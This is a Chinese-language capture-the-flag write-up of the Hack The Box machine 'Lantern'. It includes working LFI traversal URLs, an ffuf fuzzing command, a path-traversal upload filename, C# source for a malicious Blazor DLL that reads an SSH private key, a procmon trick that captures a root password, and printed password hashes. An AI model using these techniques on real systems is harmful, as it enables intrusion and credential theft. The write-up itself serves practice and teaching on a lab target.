基本信息

端口扫描

22,80,3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
$ nmap -sC -sV -Pn 10.10.11.29
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-19 15:05 CST
Nmap scan report for lantern.htb (10.10.11.29)
Host is up (0.090s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:56:55 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:56:54 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:56:54 GMT
|_ Server: Skipper Proxy
|_http-server-header: Skipper Proxy
|_http-title: Lantern
3000/tcp open http Microsoft Kestrel httpd
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Kestrel
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.95%I=7%D=8/19%Time=66C2EEE6%P=x86_64-apple-darwin23.4.0%
SF:r(GetRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Mon,\x2019\x
SF:20Aug\x202024\x2006:56:54\x20GMT\r\nLocation:\x20http://lantern\.htb/\r
SF:\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=
SF:en>\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>Y
SF:ou\x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20targe
SF:t\x20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</
SF:a>\.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP
SF:/1\.0\x20200\x20OK\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Len
SF:gth:\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20M
SF:on,\x2019\x20Aug\x202024\x2006:56:54\x20GMT\r\nServer:\x20Skipper\x20Pr
SF:oxy\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\
SF:x20Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html
SF:;\x20charset=utf-8\r\nDate:\x20Mon,\x2019\x20Aug\x202024\x2006:56:55\x2
SF:0GMT\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x2
SF:0lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<
SF:p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server
SF:\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check
SF:\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.45 seconds

80

需要加hosts:

1
10.10.11.29 lantern.htb

一个官网,响应可以看到使用的Skipper Proxy:

3000

3000是admin登录,可以看到使用blazor和websocket:

Skipper Proxy

搜索可以发现一个SSRF:

blazor

然后基础枚举,可以发现内部的5000和8000分别对应外部可访问的3000和80:

另外因为是blazor,直接去查看_framework/blazor.boot.json获得所有的dll文件名:

InternaLantern

然后根据获得的文件名区下载对应的dll,反编译,在InternaLantern中可以得到一些base64字符串吗其中一个得到管理员密码:

1
2
3
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=

System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

LanternAdmin

然后使用得到的账号密码登录LanternAdmin:

dll

看起来是根据输入从指定目录加载对应dll,默认是Logs:

files

files里可以看到80那边的代码,可以发现一个新的路由PrivacyAndPolicy,拼接输入的参数获取文件,可能LFI:

1
2
3
4
5
6
7
8
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

LFI

验证存在LFI:

1
http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../&ext=./etc/passwd

Logs.dll

所以利用LFI去获取前面看到的Logs.dll,然后反编译分析:

1
http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../&ext=./opt/components/Logs.dll

但没什么东西

dlls fuzz

直接fuzz可能存在的dll文件名,发现FileUpload

1
2
3
4
ffuf -w ~/Tools/dict/SecLists/Discovery/Web-Content/common-and-dutch.txt -u "http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../&ext=./opt/components/FUZZ.dll" -fs 55220

Logs [Status: 200, Size: 8192, Words: 108, Lines: 106, Duration: 187ms]
FileUpload [Status: 200, Size: 11776, Words: 153, Lines: 189, Duration: 202ms]

FileUpload

同样的方式下载FileUpload.dll分析:

1
http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../&ext=./opt/components/FileUpload.dll

发现同样是直接拼接的传入文件名,可能目录穿越上传到其他目录:

FileUpload

验证文件上传时的路径穿越,注意因为blazor时序列化数据,所以文件名长度保持一致:

1
2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmiao.jpg
../.././../../../../../../opt/components/miao.jpg

或者直接使用burp插件:

dll

现在我们可以上传任意文件到任意目录,并且前面看到会去加载执行dll文件,那就是做一个恶意dll上传到对应目录,然后去加载执行,注意系统是linux跑的dotnet,简单的读文件即可:

1
2
3
4
5
dotnet new classlib -n miao
cd miao
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
# 修改代码后编译
dotnet build -c Release

Class1.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace miao
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}

user flag

使用读取到的私钥登录:

1
ssh -i tomas_id_rsa tomas@10.10.11.29

提权信息

tomas可以sudo运行procmon,并且登录时提示有新邮件,查看邮件提到/root/automation.sh:

我们对这个文件没有读权限,但邮件提到他定时运行,并且我们有procmon权限,所以应该就是procmon去监测对应进程

查看进程发现nano打开了automation.sh,所以就去监测写入操作:

1
2
3
ps aux | grep automation.sh

sudo /usr/bin/procmon -p 13253 -e write

等待运行几分钟,然后F6导出结果,可以看到一个sqlite数据库文件,下载到本地查看:

1
2
3
4
5
6
scp -i tomas_id_rsa tomas@10.10.11.29:/tmp/miao/procmon_2024-08-20_08:15:19.db .

sqlite3 procmon_2024-08-20_08:15:19.db

sqlite> .output out.txt
sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

然后把输出文件hex解码,发现echo操作:

1
echo Q 33EEddddttddww33ppMMBB | s uuddoo . //bbaacckkuu%

处理一下即可得到root密码:

1
Q3Eddtdw3pMB

root flag

使用得到的root密码切换过去:

shadow

1
2
root:$y$j9T$AIkP6DcupUzzLuD19q8Ea.$yfGWAj50b/chhcl4fuZL3jkIlp2NrkL63C5TXcDumJ0:19718:0:99999:7:::
tomas:$y$j9T$iBupKrKnYvDsG24KvgKi61$P9qTNx7BdVbyqWp5homuabzMA/vr.h3fds5VYDeMII3:19718:0:99999:7:::

参考资料